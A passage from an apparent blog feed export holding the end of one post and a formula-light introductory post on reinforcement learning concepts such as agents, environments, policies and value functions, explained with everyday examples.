to Reinforcement Learning</h2><p>In theory, every problem solved using this framework can be interpreted as a simple planning problem, aiming to find an optimal solution to the Bellman equation, thus determining an optimal policy. In practice, however, the number of possible states and actions as well as the limited knowledge of the environment makes this approach unfeasible, thus enforcing us to find another way of computing the optimal policy. Therefore, algorithms tend to optimize the state-value function, the action-value function, or the policy using a straightforward approach. If the policy is optimized straightforward, we can describe the policy using a precise analytical function and solve the problem by optimizing a given set of parameters. This is what we describe in the following blog posts. </p><p>Since we have defined the most important terms, let us go more deeply into specific algorithms and approaches in the following posts. </p><h1 id="heading-references">References</h1><ul><li><p><a target="_blank" href="https://lilianweng.github.io/lil-log/2018/02/19/a-long-peek-into-reinforcement-learning.html">Lilian Wang: A (Long Peek into Reinforcement Learning)</a></p></li><li><p><a target="_blank" href="https://spinningup.openai.com/en/latest/spinningup/rl_intro.html#optional-formalism">OpenAI: Spinning Up, Part 1: Key Concepts in RL</a></p></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/upload/v1638431524355/6c5sbktPK.png<![CDATA[An Informal Introduction to Reinforcement Learning]]>https://deepboltzer.codes/an-informal-introduction-to-reinforcement-learninghttps://deepboltzer.codes/an-informal-introduction-to-reinforcement-learningTue, 30 Nov 2021 14:08:50 GMT<![CDATA[<p>This initial blog post written in collaboration with my B.Sc. students <a class="user-mention" href="https://hashnode.com/@JoBo">Jonas Bode</a>, <a class="user-mention" href="https://hashnode.com/@tobias-huerten">Tobias Hrten</a>, <a class="user-mention" href="https://hashnode.com/@LucaLiberto">Luca Liberto</a>, and <a class="user-mention" href="https://hashnode.com/@FlorianSpelter">Florian Spelter</a> intends to give a rough outline of the key concepts of building Reinforcement Learning (RL) without using any formulas.As a result, no mathematical background is needed and even more, the key concepts are introduced naturally by addressing your intuition.While this post attempts to be fully understood without any prior mathematical knowledge, it should be noted that basic skills in calculus, probability theory, and algebra is fundamental for gaining a deep understanding of RL.But, to get you started quickly, we decided to introduce the math and equations behind RL in the second post of the series.</p><h2 id="heading-motivation-why-bother-with-reinforcement-learning">Motivation: Why bother with Reinforcement Learning?</h2><p>Looking back to present breakthroughs in Artificial Intelligence (AI) and especially in RL, we observe rapid progress in Machine Learning (ML) without human supervision in a wide variety of domains such as speech recognition, image classification, genomics, and drug discovery.These unsupervised learning models are mainly motivated by the fact that for some problems human knowledge is too expensive, too unreliable, or unavailable. Moreover, the ambition of AI research is to bypass the need for human supervision by creating models that achieve superhuman performance without human input.</p><p>One popular example is AlphaGo, a computer program developed by researchers at Google DeepMind, which has been shown to surpass the abilities of the best professional human Go player in 2017. Very soon the model was beaten by a newer evolution of itself 100-0 without human supervision.Similar breakthroughs are to be found in the realm of E-Sports: For example, a team at OpenAI developed bots being able to beat human professionals in the highly competitive video game Dota 2 in a 5v5 game in 2019.So how not be curious about the magic behind RL? In the following, we will take you with us on a journey diving deep into the field of RL.</p><h2 id="heading-what-is-reinforcement-learning">What is Reinforcement Learning?</h2><p>To understand the fundamentals of Reinforcement Learning it is important to understand one simple key concept:The relationship between an agent and its environment. To grasp the idea of an agent, it seems pretty natural to replace it with oneself</p><ul><li>a human being interacting with its surroundings, retrieving information about itself and those surroundings, and changing its state through actions over a finite time horizon.Now the human being - representing the agent - usually has quite a wide variety of different actions we could take.For example, imagine you have a walk with the dog: There are two options regarding clothing. We could either take a jacket or pass on doing so. To decide which of both options to choose,it is pretty intuitive to observe the temperature outside - the environment so to speak. But how do we know if our decision was optimal? We will receive feedback - a reward - from the environment.In our example, we might be freezing if we decided not to take the jacket and whether is quite cold or sweaty if it is too hot.And that example - at its core - represents what the relationship between agent and environment is about.More formally, the agent takes an action <strong><em>a</em></strong> in state <strong><em>s</em></strong> and collects a reward <strong><em>r</em></strong> in return to evaluate choice <strong><em>a</em></strong>, given the current state <strong><em>s</em></strong>.Finally, the system transitions into the next state <strong>s'</strong>, which is determined by a transition function <strong><em>P</em></strong>.</li></ul><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638206406222/eScV8HwEO.png" alt="agent-environment.png" /></p><h2 id="heading-model-based-vs-model-free">Model-based vs model-free</h2><p>After introducing the key concept of the "agent - environment" relationship, we can introduce the two most basic cases regarding the agent's knowledge about the model describing its environment: Simply, knowing the model and not knowing the model.</p><p>Imagine a world, in which the weather is sunny exactly every other day and rainy on every remaining day. If our agent has to do some work outside, but can freely decide on which day he works on the respective tasks, knowing the world's model will probably cause the agent to work outside mostly on sunny days for a better outcome.On the other hand, if the model is not known to the agent he will probably finish his work on the first day to collect the reward, thus completing the task as soon as possible and learning the environment model as part of the learning experience itself.</p><p>In formal terms, we distinguish between model-free and model-based RL, meaning that in model-based RL, the model is known to the agent. This is why model-based problems can be solved using "simpler" algorithms and by Dynamic Programming (DP). In comparison, model-free RL enforces the agent to learn the environment model as part of solving the learning problem.</p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638206439767/YTou9scFr.png" alt="model-agent-environment.png" /></p><h2 id="heading-policies">Policies</h2><p>A policy \(\pi\) describes the strategy by which the agent chooses which actions to take in which state. The optimal policy returns the best possible action for each state to receive the biggest possible reward. Furthermore we differentiate a deterministic policy \(\pi\)(<strong><em>s</em></strong>) and a stochastic policy \(\pi\)(<strong><em>a</em></strong>|<strong><em>s</em></strong>) which returns the action based on a probability given that the agent is in state <strong><em>s</em></strong>.</p><h2 id="heading-value-functions">Value functions</h2><p>Given state <strong><em>s</em></strong> it doesn't seem too practicable to brute force action <strong><em>a</em></strong> and see what the reward will be. Instead, we should try to predict the future rewards for each possible state-action pair (<strong><em>s</em></strong>,<strong><em>a</em></strong>). To get a better understanding of this approach let us take a look at another example from everyday life. </p><p><strong>State</strong>: Having an amount of money in your bank account.</p><p><strong>Action 1</strong>: Withdraw the money now to buy yourself something.</p><p><strong>Action 2</strong>: Leave the money in your bank account to earn more money through interest and buy yourself something more expensive in the future.</p><p>Both of these actions result in a certain reward. The key difference is that if you only consider the rewards up to the current time, action 1 has a much higher reward because you would buy yourself something right away while action 2 would reward you with nothing. But, action 2 will grant you a much higher reward in the future and this reward may outweigh the reward of action 1. The main point to look at when deciding between actions 1 and 2 is, whether waiting the additional time is worth the higher reward or not. And this is the major idea behind value functions.</p><p>Value functions are mostly referred to as <strong><em>V(s(t))</em></strong> with <strong><em>s(t)</em></strong> being the current state. The idea behind this function is to observe future states <strong><em>s(t+1)</em></strong>, <strong><em>s(t+2)</em></strong>... and predict their corresponding rewards. In other words, the value function quantifies how good a state is. Both policy and value functions are what we try to learn in reinforcement learning. </p><p>As a result, the value function is computed by the future reward, also known as <strong>return</strong>, which is a total sum of discounted rewards going forward. The discount factor, also denoted by \(\gamma\), is used to discount future rewards to not wait indefinitely or prefer rewards we receive in the near future. Back to our example, in case we wouldnt have such a discount factor, we might wait endlessly to buy a house because its reward would outweigh the rewards of all daily expenses like buying food for example.</p><p>Now we can use these value functions to update our policies converging to the optimal policy. We will encounter this principle as value iteration in a later post. </p><p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1638281241390/0z-h9LErXR.png" alt="model-agent-environment-value-policy.png" /></p><h2 id="heading-references">References 📚</h2><ul><li>Cover Image: <a target="_blank" href="https://www.freeiconspng.com/img/14776">Cover Image</a> </li><li>Blog by Lilian Weng: <a target="_blank" href="https://lilianweng.github.io/lil-log/2018/02/19/a-long-peek-into-reinforcement-learning.html">Lil'Log</a></li></ul>]]>https://cdn.hashnode.com/res/hashnode/image/upload/v1638198706614/wu2umujqt.png